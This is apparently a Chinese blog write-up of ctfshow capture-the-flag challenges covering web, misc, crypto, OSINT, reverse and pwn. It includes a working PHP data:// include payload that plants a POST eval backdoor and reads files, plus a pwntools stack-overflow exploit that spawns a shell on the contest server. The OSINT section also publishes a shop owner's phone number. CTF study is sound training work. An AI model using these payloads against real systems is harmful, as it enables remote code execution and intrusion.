【ctfshow】单身杯部分wp

本文是对单身杯题目的部分复现,部分不会做的照着官方给出的 wp 重新操作了一边顺便留下自己的思考。

web

web签到

感谢@大菜鸡师傅供题,太棒了!
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);

$file = $_POST['file'];

if(isset($file)){
    if(strrev($file)==$file){
        include $file;
    }
}

isset()函数用于检测变量是否已设置并且非 NULL。

strrev()将str所指的字符串逆置。

很明显要求找到一个字符串,让顺着和倒着一样,且可以进行RCE,使用data协议,再利用?>进行闭合。

file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system("ls /");

image-20220527210000659

==payload:==

file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system("cat /f1agaaa");

image-20220527210100981

MISC

misc签到

感谢@格调僧师傅供题,太棒了!
重要提示:
压缩包密码是5位字符
lsb有内容
flag包含5个空格、2个逗号,均替换为下划线,连续只留1个下划线

打开文件,发现是一个加密压缩包:

image-20220527210342616

直接丢到Ziperello

image-20220527210806803

中间发生了一件有意思的事情,在爆破过程中发现ziperello爆破完需要挺长时间,于是顺便把ARCHPR也打开了,然后发现后者比前者快很多,但是前者反而先出密码,哈哈。

image-20220527211346014

密码就是61f@X,解压缩文件,是这样一个图片:

image-20220527211541562

丢到winhex看一下,搜一下flag或者ctf这类敏感字符,发现没有,拉到最后看看,发现一串base64编码的字符串,丢过去解码一下:

image-20220527211933907

不知道咋回事,看了官方wp发现是图片,我真的会谢:

image-20220527212422860

同时,图片丢进zsteg后得到半段flag:

image-20220528190424324

使用ztsg也是一样:

image-20220528190854918

补全二维码的定位符,然后识别一下(这边搞了好长时间,但功夫不负有心人):

image-20220528191912320

6C75652C20666172206578636565647320796F75722062656C6965667D

==友情提示这里使用的二维码尽量是编码以后直接下载的,不要直接截图,很难成功,不知道为啥==

再base16解码一下:

image-20220528192435603

拼接在一起:

==ctfshow{Your potential,value, far exceeds your belief}==

按照规定格式转化一下:

==ctfshow{Your_potential_value_far_exceeds_your_belief}==

CRYPTO

感谢@G4的账号发给我的题目,出题人是谁咱也不知道,咱也不敢问 师傅提供的题目
提示:flag要用ctfshow{}包起来

打开附件:

image-20220528192758639

不知道你们第一眼看到会想到什么,但是我回想到福尔摩斯跳舞的小人那一章节,搜一下,发现一摸一样:

img

对照揭秘一下得到flag:

==please use underslash between every word with initials in capitals the flag is everyone loves taoshen.==

故flag为==ctfshow{Everyone_Loves_Taoshen}==

OSINT

任性老板

感谢@MiGooli师傅供题,太棒了!
有的人能一眼看出flag(0),有的人连这家店的店名和手机号都找不出来(1)
那么你是哪种人呢?
请提交ctfshow{店名_店家手机号},证明你的成分

打开附件:

image-20220528193256142

拿百度识图看一下,发现:

image-20220528193643388

点进去看一下却没啥有用的信息,搜索也没得到啥线索,没办法,继续往下浏览,直到看到这样一个照片:

image-20220528194340615

搜索成都最认真做面的店主:

image-20220528194815753

找到了,看看是不是:

image-20220528194905778

好样的找到了!!!前面看到这家店是叫左撇子私房面

image-20220528194934173

使用百度地图搜一下试试:(本来想拿美团搜的,一想一天就营业四个小时估计没外卖服务。。)

image-20220528195250633

所以flag就是==ctfshow{左撇子私房面_15882424927}==

蛤壳雪茄-1

感谢@套妈师傅供题,太棒了!
这张照片是在22年第一季度-第二季度之间拍的,请找出这家飞机的所属公司的官网地址。
例:ctfshow{www.mumuzi.com}

打开附件:

image-20220529001903418

不管了,直接丢到google识图看一下,没啥收获,再用下yandex

image-20220529003429517

点击进去看一下:

image-20220529003501099

发现是一摸一样的,这是一台波音 737-200 推力反向器,直接搜索有关波音737并没有什么有用的信息,直接输入波音公司的flag也不对,再观察一下图片与搜索结果,发现大部分都一样唯独颜色不对,于是搜索black boeing 737-200,找到:

image-20220529004425751

第一个!!!!

image-20220529004533359

搜一下这家航空公司chrono aviation

在公司的网站找到了这驾波音飞机:

image-20220529004956569

看来就是这家航空公司了,提交公司网站,正确,flag就是:

==ctfshow{www.chronoaviation.com}==

蛤壳雪茄-2

感谢@套妈师傅供题,太棒了!
请找出飞机所降落的地点城市的名字_国家,单词首字母大写
例:ctfshow{Fujian_China}

打开附件:


image-20220529005537263
image-20220529005702740

可以发现两个图片背景都有雪,Yandex搜一下:

image-20220529010259223

在搜索过程中发现和图一背景几乎一模一样的建筑:

image-20220529011213999

搜索上面那串字符:IQALUIT

image-20220529011439415

再次找到,看来就是这个地方:

image-20220529011609197

直接猜测 flag 就是:==ctfshow{Iqaluit_Canada}==正确,个人感觉这题给的信息太多了,随便用一个就可以顺藤摸瓜找到flag,感谢套妈留下活路!!!

REVERSE

re签到

感谢@大菜鸡师傅供题,太棒了!

拿到文件先查看一下基础信息:

image-20220528195640882

拖到IDA看一下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  const char *v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  char v10; // [rsp+0h] [rbp-70h]
  int v11; // [rsp+60h] [rbp-10h]
  unsigned __int64 v12; // [rsp+68h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  memset(&v10, 0, 0x60uLL);
  v11 = 0;
  puts("plz input your password:");
  __isoc99_scanf("%s", &v10);
  v3 = be(&v10);
  v4 = be(v3);
  v5 = (const char *)be(v4);
  if ( !strcmp(v5, "V2toT2FWZ3pTbXhZTTA1d1dqSTFabUZYTldaaFNFNTZZek5PZW1NelRucGpkejA5") )
  {
    printf(format, &v10);
  }
  else
  {
    v6 = be(&v10);
    v7 = be(v6);
    v8 = be(v7);
    printf("password is incorrect!\n%s", v8);
  }
  return 0;
}

基本逻辑是读入字符串经过两次be函数后和V2toT2FWZ3pTbXhZTTA1d1dqSTFabUZYTldaaFNFNTZZek5PZW1NelRucGpkejA5比较

看一下be()函数:

_BYTE *__fastcall be(const char *a1)
{
  __int64 v1; // rax
  __int64 v2; // rax
  int v4; // [rsp+18h] [rbp-28h]
  int v5; // [rsp+1Ch] [rbp-24h]
  signed __int64 v6; // [rsp+20h] [rbp-20h]
  signed __int64 v7; // [rsp+30h] [rbp-10h]
  _BYTE *v8; // [rsp+38h] [rbp-8h]

  v7 = strlen(a1);
  if ( v7 == 3 * (((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63)) )
    v1 = ((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63);
  else
    v1 = ((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63) + 1;
  v6 = 4 * v1;
  v8 = malloc(4 * v1 + 1);
  v8[v6] = 0;
  v4 = 0;
  v5 = 0;
  while ( v4 < v6 - 2 )
  {
    v8[v4] = aAbcdefghijklmn[(const unsigned __int8)a1[v5] >> 2];
    v8[v4 + 1] = aAbcdefghijklmn[16 * a1[v5] & 0x30 | ((const unsigned __int8)a1[v5 + 1] >> 4)];
    v8[v4 + 2] = aAbcdefghijklmn[4 * a1[v5 + 1] & 0x3C | ((const unsigned __int8)a1[v5 + 2] >> 6)];
    v8[v4 + 3] = aAbcdefghijklmn[a1[v5 + 2] & 0x3F];
    v5 += 3;
    v4 += 4;
  }
  v2 = v7 - 3 * (((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63));
  if ( v2 == 1 )
  {
    v8[v4 - 2] = 61;
    v8[v4 - 1] = 61;
  }
  else if ( v2 == 2 )
  {
    v8[v4 - 1] = 61;
  }
  return v8;
}

发现其实就是 base64 编码,拿给的字符连续编码三次得到flag,这里使用进击的bird师傅写好的脚本进行解密

import base64
stc=input("输入需要进行解码的BASE64码:\n")
def base64count(src):
    print("开始..")    
    num=0  
    try:
        while True :
            src = base64.decodestring(src.encode('utf-8'))
            #这里改成decodebytes可以避免警告。。
            src=src.decode('ascii')
            num=num+1
            print("解码中,第%d次" %(num))      
    except Exception as e:
        print("结束")
        return src      
if __name__ == '__main__':
    print(base64count(stc))

运行得到 flag!!!!

image-20220528201155482

==ctfshow{dsb_re_sign_in_hsssssssss}==

PWN

pwn签到

感谢@大菜鸡师傅供题,太棒了!

打开附件查看基础信息:

image-20220528201800917

拖到IDA看一下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  puts((const char *)&unk_8048668);
  dsb(&argc);
  puts((const char *)&unk_8048694);
  return 0;
}

可以找到这个:

int shell_here()
{
  system("/bin/sh");
  return 0;
}

无保护,就是一个最简单的栈溢出,直接写exp即可:

from pwn import *
r = remote("pwn.challenge.ctf.show",28159)
r.recvline()
payload=b"a"*20+p32(0x80484f6)
r.sendline(payload)
r.interactive()

image-20220528203514049

得到flag!!!

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇